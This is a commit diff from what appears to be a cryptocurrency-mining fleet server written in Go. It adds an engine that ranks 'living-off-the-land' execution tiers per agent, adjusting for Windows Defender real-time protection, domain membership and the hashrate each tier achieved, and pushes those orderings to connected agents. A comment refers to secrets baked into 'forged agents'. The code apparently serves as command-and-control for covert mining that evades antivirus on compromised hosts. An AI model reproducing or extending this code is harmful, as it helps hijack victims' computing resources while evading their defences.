Add fleet adaptive strategy engine for proactive LOTL tier ordering
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -566,6 +566,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
}
|
||||
|
||||
// Fleet ops
|
||||
strategyHandler := NewStrategyHandler(wsHub)
|
||||
r.Post("/strategy/recompute", strategyHandler.PostRecompute)
|
||||
|
||||
if fleetHandler != nil {
|
||||
r.Get("/alerts", fleetHandler.GetAlerts)
|
||||
r.Post("/alerts/test", fleetHandler.PostAlertTest)
|
||||
|
||||
61
server/internal/api/strategy_auth_test.go
Normal file
61
server/internal/api/strategy_auth_test.go
Normal file
@@ -0,0 +1,61 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
func TestAuthResponseIncludesAdaptiveStrategy(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
hub.SetFleetSecret("test-secret")
|
||||
hub.SetAdaptiveEngine(strategy.NewAdaptiveEngine(database, true))
|
||||
|
||||
conn, _ := dialAgentWS(t, hub)
|
||||
resp := authAgentConn(t, conn, map[string]interface{}{
|
||||
"agent_id": "agent-strategy-1", "fleet_secret": "test-secret",
|
||||
"wallet": "4" + repeatChar('A', 94), "hostname": "win-docker", "platform": "windows", "version": "test",
|
||||
})
|
||||
if resp.Type != "auth_response" {
|
||||
t.Fatalf("expected auth_response, got %q", resp.Type)
|
||||
}
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(resp.Payload, &payload); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if payload["success"] != true {
|
||||
t.Fatalf("auth failed: %v", payload["error"])
|
||||
}
|
||||
raw, ok := payload["adaptive_strategy"]
|
||||
if !ok {
|
||||
t.Fatal("expected adaptive_strategy in auth_response")
|
||||
}
|
||||
data, _ := json.Marshal(raw)
|
||||
var adaptive struct {
|
||||
TierOrder []string `json:"tier_order"`
|
||||
Reasoning []struct{ Fact, Inference, Action string } `json:"reasoning"`
|
||||
Confidence float64 `json:"confidence"`
|
||||
}
|
||||
if err := json.Unmarshal(data, &adaptive); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(adaptive.TierOrder) == 0 || len(adaptive.Reasoning) == 0 || adaptive.Confidence <= 0 {
|
||||
t.Fatalf("invalid adaptive_strategy: %+v", adaptive)
|
||||
}
|
||||
}
|
||||
|
||||
func repeatChar(c byte, n int) string {
|
||||
buf := make([]byte, n)
|
||||
for i := range buf {
|
||||
buf[i] = c
|
||||
}
|
||||
return string(buf)
|
||||
}
|
||||
25
server/internal/api/strategy_handler.go
Normal file
25
server/internal/api/strategy_handler.go
Normal file
@@ -0,0 +1,25 @@
|
||||
package api
|
||||
|
||||
import "net/http"
|
||||
|
||||
type StrategyHandler struct {
|
||||
hub *WSHub
|
||||
}
|
||||
|
||||
func NewStrategyHandler(hub *WSHub) *StrategyHandler {
|
||||
return &StrategyHandler{hub: hub}
|
||||
}
|
||||
|
||||
func (h *StrategyHandler) PostRecompute(w http.ResponseWriter, r *http.Request) {
|
||||
if h.hub == nil || h.hub.adaptiveEngine == nil {
|
||||
http.Error(w, "adaptive strategy engine unavailable", http.StatusServiceUnavailable)
|
||||
return
|
||||
}
|
||||
count, err := h.hub.adaptiveEngine.RecomputeAll()
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
pushed := h.hub.PushAdaptiveStrategyUpdates()
|
||||
writeJSON(w, map[string]interface{}{"success": true, "recomputed": count, "pushed": pushed})
|
||||
}
|
||||
@@ -17,6 +17,7 @@ import (
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/pool"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
"crypto-miner-server/internal/vuln"
|
||||
|
||||
"github.com/google/uuid"
|
||||
@@ -155,6 +156,7 @@ type WSHub struct {
|
||||
// Latest service_discover payloads keyed by agent ID (Crucible service graph).
|
||||
agentServiceDiscover map[string]cachedServiceDiscover
|
||||
serverPolicy ServerPolicy
|
||||
adaptiveEngine *strategy.AdaptiveEngine
|
||||
pingIntervalSec int
|
||||
fleetSecret string // baked into forged agents; verified on WS connect
|
||||
eventNotifier *alerts.Notifier
|
||||
@@ -261,6 +263,32 @@ func (h *WSHub) SetServerPolicy(p ServerPolicy) {
|
||||
h.mu.Unlock()
|
||||
}
|
||||
|
||||
func (h *WSHub) SetAdaptiveEngine(e *strategy.AdaptiveEngine) {
|
||||
h.mu.Lock()
|
||||
h.adaptiveEngine = e
|
||||
h.mu.Unlock()
|
||||
if e != nil {
|
||||
go h.runAdaptiveStrategyLoop()
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) runAdaptiveStrategyLoop() {
|
||||
ticker := time.NewTicker(strategy.RescoreInterval)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
h.mu.RLock()
|
||||
engine := h.adaptiveEngine
|
||||
h.mu.RUnlock()
|
||||
if engine == nil || !engine.Enabled() {
|
||||
continue
|
||||
}
|
||||
if _, err := engine.RecomputeAll(); err != nil {
|
||||
log.Printf("[strategy] background rescore: %v", err)
|
||||
}
|
||||
h.PushAdaptiveStrategyUpdates()
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) SetPingInterval(seconds int) {
|
||||
if seconds < 10 {
|
||||
seconds = 30
|
||||
@@ -848,6 +876,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
}
|
||||
resp["triple_onion_policy"] = top
|
||||
if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() {
|
||||
domainJoined := false
|
||||
if prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain {
|
||||
domainJoined = true
|
||||
}
|
||||
fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined)
|
||||
resp["adaptive_strategy"] = h.adaptiveEngine.StrategyForAgent(agentID, fp)
|
||||
}
|
||||
return resp
|
||||
}())})
|
||||
|
||||
@@ -1168,6 +1204,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
ac.latencyMu.Unlock()
|
||||
}
|
||||
h.ingestStrategyFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier)
|
||||
h.queueStatsBroadcast(broadcast)
|
||||
|
||||
case "submit_share":
|
||||
@@ -1334,6 +1371,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
continue
|
||||
}
|
||||
payload["agent_id"] = agentID
|
||||
h.ingestStrategyFromPayload(agentID, payload)
|
||||
h.queueStatsBroadcast(payload)
|
||||
|
||||
case "command_result":
|
||||
@@ -1683,6 +1721,136 @@ func (h *WSHub) ResolveAgentTargets(ids []string) []string {
|
||||
return ids
|
||||
}
|
||||
|
||||
func (h *WSHub) PushAdaptiveStrategyUpdates() int {
|
||||
h.mu.RLock()
|
||||
engine := h.adaptiveEngine
|
||||
ids := h.ConnectedAgentIDs()
|
||||
h.mu.RUnlock()
|
||||
if engine == nil || !engine.Enabled() {
|
||||
return 0
|
||||
}
|
||||
sent := 0
|
||||
for _, agentID := range ids {
|
||||
fp := engine.AgentFingerprint(agentID)
|
||||
if fp.GOOS == "" {
|
||||
if ag, err := h.db.GetAgent(agentID); err == nil {
|
||||
fp = strategy.FingerprintFromAuth(ag.Platform, ag.IP, ag.FirewallDomain != nil && *ag.FirewallDomain)
|
||||
}
|
||||
}
|
||||
adaptive := engine.StrategyForAgent(agentID, fp)
|
||||
payload, err := json.Marshal(adaptive)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if err := h.SendToAgent(agentID, Message{Type: "adaptive_strategy_update", Payload: payload}); err != nil {
|
||||
continue
|
||||
}
|
||||
sent++
|
||||
}
|
||||
return sent
|
||||
}
|
||||
|
||||
func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]interface{}) {
|
||||
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() {
|
||||
return
|
||||
}
|
||||
platform, _ := payload["platform"].(string)
|
||||
ip, _ := payload["ip"].(string)
|
||||
var defenderRTP, firewallDomain *bool
|
||||
if v, ok := payload["defender_rtp"].(bool); ok {
|
||||
defenderRTP = &v
|
||||
}
|
||||
if v, ok := payload["firewall_domain"].(bool); ok {
|
||||
firewallDomain = &v
|
||||
}
|
||||
h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, parseLOTLAttemptsFromPayload(payload), 0, "")
|
||||
if hr, ok := payload["mining_hashrate"].(float64); ok {
|
||||
if tier, ok := payload["lotl_tier"].(string); ok && hr > 0 {
|
||||
h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, nil, hr, tier)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) ingestStrategyFromStats(
|
||||
agentID, platform, ip string,
|
||||
defenderRTP, firewallDomain *bool,
|
||||
attempts []struct {
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
},
|
||||
miningHashrate float64,
|
||||
activeTier string,
|
||||
) {
|
||||
if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() {
|
||||
return
|
||||
}
|
||||
if platform == "" || ip == "" {
|
||||
if ag, err := h.db.GetAgent(agentID); err == nil {
|
||||
if platform == "" {
|
||||
platform = ag.Platform
|
||||
}
|
||||
if ip == "" {
|
||||
ip = ag.IP
|
||||
}
|
||||
if firewallDomain == nil {
|
||||
firewallDomain = ag.FirewallDomain
|
||||
}
|
||||
}
|
||||
}
|
||||
domainJoined := firewallDomain != nil && *firewallDomain
|
||||
fp := strategy.FingerprintFromAuth(platform, ip, domainJoined)
|
||||
if defenderRTP != nil && *defenderRTP {
|
||||
fp.AVBlocks = true
|
||||
}
|
||||
h.adaptiveEngine.RememberAgentFingerprint(agentID, fp)
|
||||
for _, a := range attempts {
|
||||
hr := 0.0
|
||||
if a.OK && strings.EqualFold(a.Tier, activeTier) {
|
||||
hr = miningHashrate
|
||||
}
|
||||
h.adaptiveEngine.RecordOutcome(agentID, fp, a.Tier, a.OK, hr, "mining")
|
||||
}
|
||||
if activeTier != "" && miningHashrate > 0 {
|
||||
h.adaptiveEngine.RecordOutcome(agentID, fp, activeTier, true, miningHashrate, "mining")
|
||||
}
|
||||
}
|
||||
|
||||
func parseLOTLAttemptsFromPayload(payload map[string]interface{}) []struct {
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
} {
|
||||
raw, ok := payload["lotl_attempts"]
|
||||
if !ok {
|
||||
return nil
|
||||
}
|
||||
data, err := json.Marshal(raw)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
var attempts []struct {
|
||||
Tier string `json:"tier"`
|
||||
OK bool `json:"ok"`
|
||||
Error string `json:"error,omitempty"`
|
||||
DurationMs int64 `json:"duration_ms"`
|
||||
Wallet string `json:"wallet,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal(data, &attempts); err != nil {
|
||||
return nil
|
||||
}
|
||||
return attempts
|
||||
}
|
||||
|
||||
func clientIPFromBroadcast(broadcast map[string]interface{}) string {
|
||||
ip, _ := broadcast["ip"].(string)
|
||||
return ip
|
||||
}
|
||||
|
||||
// PushPolicyUpdate sends policy_update to each target agent.
|
||||
func (h *WSHub) PushPolicyUpdate(agentIDs []string, policy FleetAgentPolicy, pushID string) (sent, failed int) {
|
||||
if policy.IsEmpty() {
|
||||
|
||||
Reference in New Issue
Block a user